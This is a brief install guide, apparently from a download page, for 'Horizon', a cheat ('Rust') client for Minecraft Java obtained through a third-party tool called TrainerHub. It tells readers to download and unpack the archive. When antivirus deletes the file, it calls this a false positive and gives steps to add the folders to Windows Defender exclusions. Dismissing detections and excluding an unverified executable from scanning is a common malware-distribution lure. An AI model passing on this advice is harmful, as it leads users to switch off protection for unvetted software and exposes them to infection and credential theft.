Horizon for Minecraft Java: Rust client install and antivirus exclusion (2026)

Horizon is a Rust client for Minecraft Java 26.3 (vanilla). Install through TrainerHub:

1. Download TrainerHub with the button on the Horizon card.
2. Open TrainerHub → Files → Horizon → Download.
3. Unpack the archive into its own folder, not Program Files.
4. Launch Horizon and pick Minecraft Java 26.3.

Antivirus deletes the file

This is a common false positive for homemade clients. Add the TrainerHub and Horizon folders to exclusions: Windows Defender → Virus & threat protection → Manage settings → Exclusions.
